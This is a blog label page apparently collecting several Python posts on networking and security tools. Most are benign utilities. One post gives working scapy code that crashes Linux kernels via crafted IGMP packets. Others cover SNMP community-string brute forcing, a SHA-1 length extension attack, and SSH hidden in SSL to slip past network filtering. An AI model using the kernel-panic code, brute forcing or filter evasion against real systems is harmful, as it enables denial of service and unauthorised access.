I wanted to play around with virtual filesystems and I also was working on huge tar files at that time. Untaring some file just to copy out all of it content (more tar files) and then cleaning up was a bit PITA, so I decided to see if I can write a virtual filesystem that will show the insides of the tar file without wasting space.
I decided to do this using FUSE and I only cared about extracting data so the filesystem is read-only.
The script is here. It is using the llfuse python module.
It was a very nice way to understand a bit better how filesystems in *NIX environments work.
Usage for the script is straight forward:
$ ./fuse_tar.py -h
usage: fuse_tar.py [-h] [--mountpoint MOUNTPOINT] [--debug] [--debug-fuse]
tarfile
positional arguments:
tarfile tarfile to mount
optional arguments:
-h, --help show this help message and exit
--mountpoint MOUNTPOINT
Where to mount the file system
--debug Enable debugging output
--debug-fuse Enable FUSE debugging output
By default it can handle tar, tgz, tar.bz2 and tar.xz. Obviously access times will differ between the different formats. If the mount point is not specified it tries to create a folder in a current working directory with the name of file but without the suffix.
Showing posts with label python. Show all posts
Showing posts with label python. Show all posts
simple JSON pretty printer that you can easily copy paste
Simple JSON pretty printer that you can easily copy paste. Useful when you need to read a big JSON output and you are on a remote machine on which you can not install a lot.
python -c 'import sys; import json; import pprint; pprint.pprint(json.loads(sys.stdin.read()))'
Usage:
somecommand_that_generates_json_output | python -c 'import sys; import json; import pprint; pprint.pprint(json.loads(sys.stdin.read()))'
adding SOCKS5 support to python3 http client using just standard libs
I had a need for a simple way of running some HTTP queries through SOCKS5 (think OpenSSH -D) proxy. All the examples I could find on the internet required usage of external libraries, I prefer to just use the standard ones, makes things simpler in the end.
Here is the code I come up with, I borrowed some code from a different tool that I wrote sometime ago. Gist can be found here.
#!/usr/bin/env python3
import http.client
import socket
from struct import pack, unpack
class HTTPSocks5(http.client.HTTPConnection):
def setsocksproxy(self, host, port):
self.socks5host = host
self.socks5port = port
def connect(self):
if hasattr(self, "socks5host") and self.socks5host:
self.sock = self._create_connection(
(self.socks5host,self.socks5port), self.timeout, self.source_address)
error = ["succeeded", "general SOCKS server failure",\
"connection not allowed by ruleset", "Network unreachable",\
"Host unreachable", "Connection refused", "TTL expired",\
"Command not supported", "Address type not supported", "unassigned"]
data = pack('!3B',5,1,0) # lets connect to socks5 server
self.sock.send(data)
data = self.sock.recv(2)
auth = unpack('2B',data)[1] # do we need to authenticate
if auth != 255:
nport = pack('!H',self.port)
try:
if ":" in self.host: # we most likely have IPv6 here
data = pack('!4B',5,1,0,4)+\
socket.inet_pton(socket.AF_INET6,self.host)+nport
else: # IPv4
data = pack('!4B',5,1,0,1)+\
socket.inet_pton(socket.AF_INET,self.host)+nport
except socket.error: # or just a hostname to resolve by the SOCKS srv
data = pack('!5B',5,1,0,3,len(self.host))+\
bytearray(self.host,'UTF-8')+nport
self.sock.send(data)
data = self.sock.recv(256) # getting the status code
try:
code = unpack('BBB',data[:3])[1]
except:
raise("socks server sent a wrong replay")
if code != 0:
if code > 9:
code = 9
raise("socks server sent an error: %s" % (error[code],))
else:
raise("socks server requires authentication")
else:
self.sock = self._create_connection(
(self.host,self.port), self.timeout, self.source_address)
a very simple and quick to copy and paste cli hex editor - python
A very simple thing but maybe somebody will find this useful.
EDIT (added 2016/01/08):
A bit improved (and just slightly bigger) version that can be found here, it is able to also handle ranges.
Example:
I had a need for a simple hex editor, so I wrote this:
#!/usr/bin/env python
import sys
"""
a very simple cli hex file editor
"""
if len(sys.argv) < 3:
print "usage: %s filename hex_offset" % (sys.argv[0])
sys.exit(0)
fd = open(sys.argv[1],"rw+")
fd.seek(int(sys.argv[2],16))
print "offset:0x%s char:%s" % (sys.argv[2], hex(ord(fd.read(1))))
fd.seek(int(sys.argv[2],16))
if len(sys.argv) > 3:
fd.write(chr(int(sys.argv[3],16)))
fd.seek(int(sys.argv[2],16))
print "offset:0x%s char:%s" % (sys.argv[2], hex(ord(fd.read(1))))
fd.close()
Usage is simple, it takes three arguments (third one is optional), first is the path to the file you want to edit, second is offset in hex from the beginning of that file. If you do not provide the third argument then only a value under given offset is printed to the screen (nothing is changed), if you provide third value (in hex) then this value is written under that offset.
Example:
> dd if=/dev/urandom of=test_file.dat count=1 bs=32
1+0 records in
1+0 records out
32 bytes (32 B) copied, 0.0002849 s, 112 kB/s
> cat test_file.dat | xxd
00000000: 4721 d36c 0335 572f cb51 323d d4ec bc3e G!.l.5W/.Q2=...>
00000010: 6e00 905a c484 3fbf ca6e d202 f0ec bc18 n..Z..?..n......
> ./edit_file.py test_file.dat 10
offset:0x10 char:0x6e
> ./edit_file.py test_file.dat 10 ff
offset:0x10 char:0x6e
offset:0x10 char:0xff
> cat test_file.dat | xxd
00000000: 4721 d36c 0335 572f cb51 323d d4ec bc3e G!.l.5W/.Q2=...>
00000010: ff00 905a c484 3fbf ca6e d202 f0ec bc18 ...Z..?..n......
EDIT (added 2016/01/08):
A bit improved (and just slightly bigger) version that can be found here, it is able to also handle ranges.
Example:
> cat test_file.dat | xxd
00000000: 4721 d36c 0335 572f cb51 323d d4ec bc3e G!.l.5W/.Q2=...>
00000010: 6e00 905a c484 3fbf ca6e d202 f0ec bc18 n..Z..?..n......
> hedit.py test_file.dat 10-4
offset:0x10 6e00905a
> hedit.py test_file.dat 10-4 abcdef
offset:0x10 6e00905a
offset:0x10 abcdef5a
> cat test_file.dat | xxd
00000000: 4721 d36c 0335 572f cb51 323d d4ec bc3e G!.l.5W/.Q2=...>
00000010: abcd ef5a c484 3fbf ca6e d202 f0ec bc18 ...Z..?..n......
A very simple WebSocket client - RFC 6455
A while ago I had a need for a simple WebSocket (RFC 6455) client, nothing fancy, just enough to verify few things are working correctly on a sever. All python libraries I could find were a bit on the heavy side, so I wrote a simple WebSocket client class from scratch. I'm sure it doesn't support everything but for me this is good enough.
Code is here, it can be use either standalone or as a module. By default is takes input from stdin and writes to stdout. It is asynchronous.
> ./websocket.py
usage: ./websocket.py target port path
target is the IP or a hostname to which we want to connect
port is a TCP port on which the service is listening
path is the WebSocket path
Matasano crypto challenges
Matasano did sometime ago a crypto challenge. They published all the problems recently here and they are slowly publishing the solutions.
I didn't finish yet all of the sets (lots of excuses why) but maybe somebody wants to see the results so far.
I didn't finish yet all of the sets (lots of excuses why) but maybe somebody wants to see the results so far.
SHA-1 length extension attack example in python
This is nothing special and was done a million times before, but not by me :). So what is the "length extension attack" that I'm talking about. Easy, this just means that you can add anything to some popular hashes like MD5, SHA-1 and SHA-2 (with exception of SHA-224 and SHA-384, they truncate the output), almost any hash based on Merkle–Damgård construction. The problem is in the design of the hash. Basically the hash/digest that you receive at the end of the computation is exactly the internal state of the hashing function at the end of the operation. This is not a very bad thing if you know about it and you will uses hashes correctly.
I've implemented this attack for SHA-1 only but it is quite trivial to do it for other functions based on this example.
First let generate a hash of some message ("secret" in this case):
> ./sha1.py secret
msg: secret
e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4
Now knowing only the hash and that the length of the hashed message was 6 bytes I can produce a hash of the original message (that is unknown to me) and some added data (in this case " that can be shared"):
> ./sha1_len_ext_attack.py e5e9fa1ba31ecd1ae84f75caaa474f3a663f05f4 6 " that can be shared"
msg: 8000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003020746861742063616e20626520736861726564
e73b327069f3658ab8f60d9a21a3961e5d371b8d
In green you see padding of the original hash (we need the length of the message for this) and in pink our added message. In orange is the hash that we were looking for.
Now lets verify that we got the correct output, normally you can't do this because you don't know the original message. First we need to get hex values of the characters in the word "secret":
> printf secret | xxd
0000000: 7365 6372 6574 secret
Now lets put together the above value and the green and pink values from the sha1_len_ext_attack.py command. The option -x to sha1.py allows for providing hex values:
> ./sha1.py -x 7365637265748000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003020746861742063616e20626520736861726564
msg: secret?0 that can be shared
e73b327069f3658ab8f60d9a21a3961e5d371b8d
As you can see the orange hashes match. The message adding is not perfect, there is some garbage between the original and the new added message (one \x80 byte, some null bytes and a few bytes that represent the length of the original message in bits) but this sometimes is not a problem.
To implement this attack you first need to implement the hash function you are attacking (or take somebody else implementation). I did mine based on the method 1 from RFC 3174. It was more fun this way. In the second step you will need to change the initial internal state of the function (the h(0)-h(n) values) based on the original hash that you've got, then calculate the rest of the hash normally and you are done.
In real life this can cause issues like for example in the Flick's API case.
In real life this can cause issues like for example in the Flick's API case.
Labels:
crypto,
length extension attack,
python,
sha,
sha-1
sharing secrets
In some situations you have a need to share secret/information between people, but you require that it should only be known to them based on some event. Putting aside all the non-technical means of doing this, most common way people try to solve this problem is using encryption. One person gets the key the other person receives the encrypted data. Problem with this is that in theory it is possible that the person who got the encrypted data will be able to brute force the key. Even if you say you trust somebody today, people do change, people like to know secrets. It would be much nicer to split the data in such a way that there will be not enough information given to a single person to even in theory recover the secret.
There are couples of ways to do it, here I will show two. First will be a simple one time pad, second will be Shamir's Secret Sharing.
One time pad
First let's see our secret message:
> cat secret.txt
this is the most important secret on this planet,
keep is secret, keep it safe
> ls -l secret.txt
-rw------- 1 user user 80 2012-07-10 10:00 secret.txt
the size of this file is 80 bytes, we need this to generate the pad:
> dd if=/dev/urandom of=pad.dat bs=1 count=80
80+0 records in
80+0 records out
80 bytes (80 B) copied, 0.000284124 s, 282 kB/s
> ls -l pad.datjust to confirm that we got some kind of random stuff inside this file:
-rw------- 1 user user 80 2012-07-10 10:06 pad.dat
> od -c pad.dat
0000000 [ h " q \b í / z Ű 231 ˙ a Ă 202 V Ş
0000020 š \n 9 ¤ f G 002 n ? Ş ) 211 C 230 Ř 022
0000040 ú 226 Q 036 ç ý 004 226 203 S ° O 026 ů 025 s
0000060 216 Ň 211 ü 177 q 235 023 \ ŕ Ş ß w e ¨ ĺ
0000100 o 9 C Ý ř g x ň 005 r 6 Q 001 D Ź ~
0000120
now, we run a very simple script that will xor data from both files with each other and output result to STDOUT. I will redirect the result to a file named output.dat:
just to confirm that we used the correct secret.txt file:> ./filexor.py secret.txt pad.dat > output.dat> ls -l output.dat
-rw------- 1 user user 80 2012-07-10 10:13 output.dat
> od -c output.dat
0000000 / \0 K 002 ( 204 \ Z Ż ń 232 A Ž í % Ţ
0000020 231 c T Ô \t 5 v 017 Q Ţ \t ú & ű Ş w
0000040 216 ś > p Ç 211 l ˙ đ s Ŕ # w 227 p \a
0000060 ˘ ň 203 227 032 024 í 3 5 223 212 Ź 022 006 Ú 200
0000100 033 025 c ś 235 002 \b Ň l 006 026 " ` " É t
0000120
> od -c secret.txt
0000000 t h i s i s t h e m o s t
0000020 i m p o r t a n t s e c r e
0000040 t o n t h i s p l a n e t
0000060 , \n k e e p i s s e c r e
0000100 t , k e e p i t s a f e \n
0000120
OK, so right now we have two files pad.dat and output.dat, you can give one file to one person the other file to another and there is no way for them to guess the secret. How to recover the secret message? Simple: xor the two files together again:
> ./filexor.py output.dat pad.dat
this is the most important secret on this planet,
keep is secret, keep it safe
OK, this method is nice if you only have two people that you would like to share secret with. It gets a bit problematic when you would like to allow n people out of m to be able to recover the secret. It is still possible to do this, but it requires a lot of juggling with the files. The good thing about this method is that there is virtually no limit on the size of the secret message.
Shamir's Secret Sharing
If you require something more flexible then the one time pad, fortunately for you a guy called Adi Shamir realised that you could use polynomials to do exactly what you want. The idea is simple (like most ideas that are already discovered) - to find the equation for polynomial of degree n you need n+1 points. If you like to share a secret between m people and from those n people (n<=m) should be enough to recover the secret you need to create a polynomial of a degree n-1 and generate m points on it. Where do we "hide" the secret in the polynomial? The secret is the free coefficient. To recover the secret we need to calculate Lagrange polynomial based on the given points and x=0. That is the theory, now practice:
>>> int("this is a very simple text".encode('hex'),16)
187060217333970177770122667038844020393030967291702967972231284L
>>> hex(187060217333970177770122667038844020393030967291702967972231284).replace("0x","").replace("L","").decode('hex')
'this is a very simple text'
>>>
The rest is a bit too big to fit here, but the script works like this:
./sss.py <options>
Usage:
This program implements in a very simple and basic way
Shamir's secret-sharing scheme:
https://en.wikipedia.org/wiki/Shamir%27s_Secret_Sharing
-h - this screen,
-e msg - generate secrets for msg,
-d - recover secret based on the data in file (-f),
-f file - file to either write secrets or read them,
-a num - overall number of secrets (not less then -r),
-r num - required number of secrets (min 2),
let's share a secret message between ten people but any three of them should be enough to recover it:
> ./sss.py -e "this is the secret message" -a 10 -r 3 -f output.dat
> cat output.dat
HE2DENJSGQ2TINZXGA4DUNJSHAZTANZSHEYDAMBVGI2DIMBVHA4DAMBYGUZDMNBSHAZTONRXGA2DINRQGMZTQMRQGE4TONBTGE3TQMBYGM4TINBZGI4TMMRRGIYTINJQGAYDAOBXHAZDGMJZGY3TGMBTG43TMNJXGA2A====
GIZTEMZTGEYDSNBRGAZTUMZSGEYDAOBQGYYTCOBVGI3TSNZXGQ4TQMJQHE4TKMBQGU4DMNJYGE2TSMRYHE2DIOBRGQ4TGNRRHEZTGMRYGE3DENJQGU4TQMRQGAZDQMZTHEZTGMZWGU2TSOJQG43DKMBSG4YDCMJTHE======
G4ZDMOJYG42TQMJXHA2DUMZRGQZTANZYGY2DMOBRGYYDGMJXHE3DKMRXGAZDOMZRGE2DMNJQGY4DMMBWGIYDONJVGIZTMOJWHAYDANJUGE2TGNRSHEZTIMRSGE4TEOJQGYZTGMJYGQYTAMJYHA4DAMZSHEZTCNZVHA2A====
G4ZDGNBRGY3DCMRSGI4DUMZRGEZDENZWHAZDCMJZGEYTMMZQHA3DCOBWGE4TKNJYG43DAMJWHAYTGMBWGE4TQNBZGI3TGMBVGM2DEOJVGY3TONBYG43DMMJZGI4DANBUG4ZTEMZUG4YDMOBQG44DGNBTHAYDONBSGY2A====
GQYDSNJRGM2TCMZTGM2DUOJZG4ZTENZTG4YTAMJXGM3DIMBZGA2TONBTGYYTSNRSHE3TANZUGMZTONJQG4ZTSMRSGIYTSNJXHA2TGNZXGI2DOMZYGAZTAOBYHEYTKMJRHE2DQOBRGU3TKMBYG44DQOJSGIZTSMJYGQ======
G4ZTKMRQGAZDOMZYGI4TUMZSGE2DIOJTG4ZTINJUGQZDQMBQGY2TGMBTHEYTANRUGY4TKOJQHA2DCOBWGI2TKMBTGU2TEMRTGEZDMNJXGU3TAOJRGM2TSMZSGM3DANRQGQZTSMJSG4ZTKNBYHE2DKNRQHA3TAMBZHE4Q====
GQ2TSMJZGQ4DONRRG4YDUMJSGUZTSOJTGYZDSNBXGYYDEMJYGA3TOMRRGE2DEMZUGQZDMNZZGEZTGMRRGM2TAMZSGU2DCMJYGI4TCNBTHA2DCMRTHEYDKNZSGU3TKNRYHEZDEOBXGA4DOMJXGY3DOMZTGQ4TANRQGA4A====
GQ3TIMBSGM2TKNJSGU3DUMJTGM3DEOJRGIYDIMZRHE3TCNRSHE4TAMJUHEYTOMRWGUYTOMJWHE4TSNJWGU3DSNZTGIZTMNJVGUZDSMBUGUZDKMRWGIYDONJQGYYDKNBUGUYDONBXHE3DSOJTGY3DGMBYGQ3TINRYHE3A====
GY3TENBTG4ZDGNZTGA4DUMRWHA4TAOBWGUYDQMJQHA4DQNBYG4YDIOJVGE2DSOBZGIZTOOJVG43DONZXGQYTAMJUGY3DQMZVGM2TANRRGYYTSNBWGE4DKNRWGQ2TAMZRHE3DQMRWGEYTMOJRG42TMOJRGYZDSMBVGA2A====
GMYTINZQGQ3TIMRSGAZDUNJYHA4TQOJYHA3DONBZGM2DAMRVGM4DIMBVGYZTSMBRG43DSMJWGM2DSMBYGUZDGOBRGQYTMNBWGI4DMMBVGI2DMMBVGE2DGMBUGU4DSOJZHEYDENZTGIZTCNRVGE2DIMJRGE4TEOBYHA======
output is base32 encoded for ease of moving, this is what you get if you decode any of them:
>>> from base64 import *
>>> b32decode("HE2DENJSGQ2TINZXGA4DUNJSHAZTANZSHEYDAMBVGI2DIMBVHA4DAMBYGUZDMNBSHAZTONRXGA2DINRQGMZTQMRQGE4TONBTGE3TQMBYGM4TINBZGI4TMMRRGIYTINJQGAYDAOBXHAZDGMJZGY3TGMBTG43TMNJXGA2A====")
'942524547708:52830729000524405880085264283767044603382019743178083944929621214500008782319673037765704'
>>>
there are two values separated by colon, the first one is x the other is y.
now let's recover it using all of the points:
> ./sss.py -d -f output.dat
this is the secret message
that was easy, now let's see what happens if we only use three points from this set:
> cat output.dat
GQ3TIMBSGM2TKNJSGU3DUMJTGM3DEOJRGIYDIMZRHE3TCNRSHE4TAMJUHEYTOMRWGUYTOMJWHE4TSNJWGU3DSNZTGIZTMNJVGUZDSMBUGUZDKMRWGIYDONJQGYYDKNBUGUYDONBXHE3DSOJTGY3DGMBYGQ3TINRYHE3A====
GY3TENBTG4ZDGNZTGA4DUMRWHA4TAOBWGUYDQMJQHA4DQNBYG4YDIOJVGE2DSOBZGIZTOOJVG43DONZXGQYTAMJUGY3DQMZVGM2TANRRGYYTSNBWGE4DKNRWGQ2TAMZRHE3DQMRWGEYTMOJRG42TMOJRGYZDSMBVGA2A====
GMYTINZQGQ3TIMRSGAZDUNJYHA4TQOJYHA3DONBZGM2DAMRVGM4DIMBVGYZTSMBRG43DSMJWGM2DSMBYGUZDGOBRGQYTMNBWGI4DMMBVGI2DMMBVGE2DGMBUGU4DSOJZHEYDENZTGIZTCNRVGE2DIMJRGE4TEOBYHA======
> ./sss.py -d -f output.dat
this is the secret message
if you leave only two points in the output.dat file:
> cat output.dat
GQ3TIMBSGM2TKNJSGU3DUMJTGM3DEOJRGIYDIMZRHE3TCNRSHE4TAMJUHEYTOMRWGUYTOMJWHE4TSNJWGU3DSNZTGIZTMNJVGUZDSMBUGUZDKMRWGIYDONJQGYYDKNBUGUYDONBXHE3DSOJTGY3DGMBYGQ3TINRYHE3A====
GMYTINZQGQ3TIMRSGAZDUNJYHA4TQOJYHA3DONBZGM2DAMRVGM4DIMBVGYZTSMBRG43DSMJWGM2DSMBYGUZDGOBRGQYTMNBWGI4DMMBVGI2DMMBVGE2DGMBUGU4DSOJZHEYDENZTGIZTCNRVGE2DIMJRGE4TEOBYHA======
we get something like this:
> ./sss.py -d -f output.dat
Traceback (most recent call last):
File "./sss.py", line 156, in
print out.decode('hex')
File "/usr/lib/python2.7/encodings/hex_codec.py", line 42, in hex_decode
output = binascii.a2b_hex(input)
TypeError: Odd-length string
Exit 1
which tells you that I need to add some error checking ;), but also that two points are not enough to produce any meaningful results in this case :).
Labels:
crypto,
one time pad,
python,
secret sharing,
shamir's secret sharing
SNMP network discovery scripts - perl, ruby and python (scapy)
Two scripts one in perl (a very old one, I'm a bit ashamed of it) one in ruby (a bit newer, logic is much better, will not hang on huge routing tables and will not kill the device with too many queries). You could be surprised how much of your network is using the default community strings.
The logic here is first to try to read some standard OIDs with a bunch of different community strings from the "seed" device. If there is a community string that works it will be moved higher in the order in which the script test them. Once the script knows the community string it will query the routing table and ARP table via SNMP to find neighbours and then repeat the whole process on them. The hosts are being distinguished by their local IP addresses, the script generates a MD5 digest from those IPs (gathered also by SNMP) to check if it is a host that was already seen.
Actually the second script was an exercise in learning/trying out ruby. It is not complete. The main function is fully implemented the missing component is a nice way of printing/storing the data.
If you would like to brute force community strings on a specific network range or a single host then I would suggest to use scapy and something like this:
>>> snmpcomm=[comm.strip() for comm in open("wordlist-common-snmp-community-strings.txt").readlines()]
>>> send(IP(dst="1.2.3.0/24")/UDP(sport=RandShort(),dport=161)/SNMP(community=snmpcomm,version=["v2c","v1","v2"],PDU=SNMPget(varbindlist=SNMPvarbind(oid="1.3.6.1.2.1.1.1.0"))))
assuming here that 1.2.3.0/24 is your target. I use send() because I just want to send the packets and I don't want to waste time on waiting for replays. In a different session on the same machine I run:
tcpdump -n udp src port 161 and net 1.2.3.0/24
and I wait for the replays. They will include the community string that triggered them.
scapy - few simple scripts/examples
Scapy allows you to manipulate packets in almost any imaginable way (and some less imaginable), the good thing is that you have to use python (easy to build, flexible) and the bad thing is that you have to use python (slow, lots of dependencies). The official documentation can be found here.
First three scripts are frameworks for network scanning. There is really no point in going into details about all the possible ways you can scan the network. There are hundreds of books on the subject (great one is "Nmap Network Scanning" by Fyodor author of nmap) and probably thousands of web pages. I just want to show some frameworks in scapy that someone may find useful.
First one is a firewalking script it assumes that you have a host on the other side of the firewall. It spoofs the source IP of all the hosts in the LAN randomly and sends packets to specific ports (also in random order) of that host outside. This assumes few things, that the firewall rules are general, that there are no special conditions for any hosts in the LAN and there is nothing unique about the single host to which we are sending packets.
Second script is also a firewalking script but it sends packets with TTL (or hop limit for IPv6) +1 of the distance to firewall, so that the next router will send us ICMP time to live exceeded. This allows to test much broader range of things. Also if there is no ARP spoofing protection, you can test the rules for any device in your network by manipulating ARP entries.
Stateless scan - not very efficient in scapy, but it works. You have two processes one that sends the packets and one that receives them, they don't communicate with each other. The sending processes doesn't keep any information about the send packets it just fires and forgets. The question is how does the receiving process know which packets are responses? The sending process manipulates the protocol information to make sure that the response will be unique in some way. In case of the TCP the best place is the sequence number because it will be send back. In this example the sequence number is based on the hash of the destination host and port plus a random salt (idea similar to syn cookies). The salt is the only thing that is known to both the sending and receiving process. One thing about this method is that because there is no state, there is no way to know if we just lost a packet somewhere midway. Original idea, as far as I can tell, came from scanrand. Similar idea (stateless) is being used in onesixtyone. In most common cases nmap is better ;)
0trace - an old idea from lcamtuf (Michal Zalewski). It is a TCP traceroute but on an established TCP connection. Basically you just match the sequence numbers and inject your packets into an already existing connection and in the same time manipulate the TTL as a normal traceroute would do. The idea is that currently there are so many state-full firewalls that normal traceroute will not be able to show you much.
All of those scripts are frameworks/examples, they are not assumed to be finished tools, but they still should work ;).
quick scapy example for Linux kernel > 2.6.36 - IGMP kernel panic
A quick post, for fun :)
in scapy put:
from struct import pack
from socket import inet_aton
target = "127.0.0.1" # host target IP, change this !!!
a=pack("!BBH",0x11,0xff,0)+inet_aton("224.0.0.1")
b=pack("!BBH",0x11,0x0,0)+inet_aton("0.0.0.0")+pack("!BBBB",0,0,0,0)
a1=a[:2]+pack("!H",checksum(a))+a[4:]
b1=b[:2]+pack("!H",checksum(b))+b[4:]
send(IP(dst=target,proto=2)/a1)
send(IP(dst=target,proto=2)/b1)
and enjoy kernel panic on your target (if it is running linux kernel above 2.6.36, including 3.x and allows IGMP traffic). Yes, I know that it could be more nicely written, but this works.
There exists already a IGMP and IGMPv3 implementation in scapy but it is in the contrib folder.
There was no point in using it for this small script.
There exists already a IGMP and IGMPv3 implementation in scapy but it is in the contrib folder.
There was no point in using it for this small script.
SSH over SSL
This was written mostly for fun, I had the idea to be able to slip out of any network with SSH. The approach most people usually use is to run SSH server on port 443 (HTTPS) which kind of works, but only until somebody doesn't actually check what is listening there. The other quite easy way to stop SSH from connecting outside is to check inside the packets for clear string from the server, usually you get something like that:
and there is a similar banner from the client side.
They both stand out quite a bit and are easy to spot and/or kill, example:
or snort with flexresp can do this also in a very nice and efficient way
My idea was to first hide the SSH server and then hide the communication. This is not perfect of course any one curious enough looking at the pcaps will spot something fishy, but probably this will fly pass 99% of people - any one doing real traffic analysis ? ;)
The server (sammael) acts similar to stunnel (of course sammael does much less) - it is able to terminate SSL connections and then send unencrypted traffic to a different service. When a special pass phrase is in the first packet after SSL handshake it connects to local SSH server instead of the default which is HTTP. When you point your browser to the host on which sammael is running you will see a normal HTTPS webpage.
The client (nisroc) does most of the work, it connects (can pass through HTTP proxy, and is able to use basic authentication) to the host and port on which sammael is running using SSL, checks digest of the cert to prevent MITM and if everything is correct sends the pass phrase and verifies that the connection to the SSH server was established.
Both server and client have TCP_CORK set on the sockets, so there is a bit less packet exchange between the hosts.
SSH-2.0-OpenSSH_5.6p1
and there is a similar banner from the client side.
They both stand out quite a bit and are easy to spot and/or kill, example:
ngrep -K 3 '-OpenSSH_' port not 22
or snort with flexresp can do this also in a very nice and efficient way
My idea was to first hide the SSH server and then hide the communication. This is not perfect of course any one curious enough looking at the pcaps will spot something fishy, but probably this will fly pass 99% of people - any one doing real traffic analysis ? ;)
The server (sammael) acts similar to stunnel (of course sammael does much less) - it is able to terminate SSL connections and then send unencrypted traffic to a different service. When a special pass phrase is in the first packet after SSL handshake it connects to local SSH server instead of the default which is HTTP. When you point your browser to the host on which sammael is running you will see a normal HTTPS webpage.
The client (nisroc) does most of the work, it connects (can pass through HTTP proxy, and is able to use basic authentication) to the host and port on which sammael is running using SSL, checks digest of the cert to prevent MITM and if everything is correct sends the pass phrase and verifies that the connection to the SSH server was established.
Both server and client have TCP_CORK set on the sockets, so there is a bit less packet exchange between the hosts.
Labels:
bypassing filtering,
python,
ssh,
ssh in ssl,
ssl,
tunnel
Nagle in OpenSSH
OpenSSH by default enables NODELAY flags on the TCP socket, so each key stroke that you make is send as a separate packet. In some situation it is not a very good idea and you would like to have Nagle algorithm enabled.
Nothing ground braking, you can "enable" it by using a simple script (version written in C which is using TCP_CORK socket option) and ProxyCommand option.
The usage, run ssh command like that (or change your ~/.ssh/config):
ssh -o "proxycommand nagle.py %h %p" user@host
and read man ssh :)
you can modify the Nagle parameters by changing those variables:
n_l = 5 # how many timeout do we wait for
n_tout = 0.1 # actual max wait is n_tout*n_l
n_size = 1024 # minimum size of the packet
maybe this will be useful for somebody :)
PS. Just to add, there is also a SOCKS client that has Nagle support.
PS3. Of course you could also just use socat like this, it also works nicely:
ProxyCommand /usr/bin/socat - TCP:%h:%p,cork
Similar post: SSH over SSL
Subscribe to:
Posts (Atom)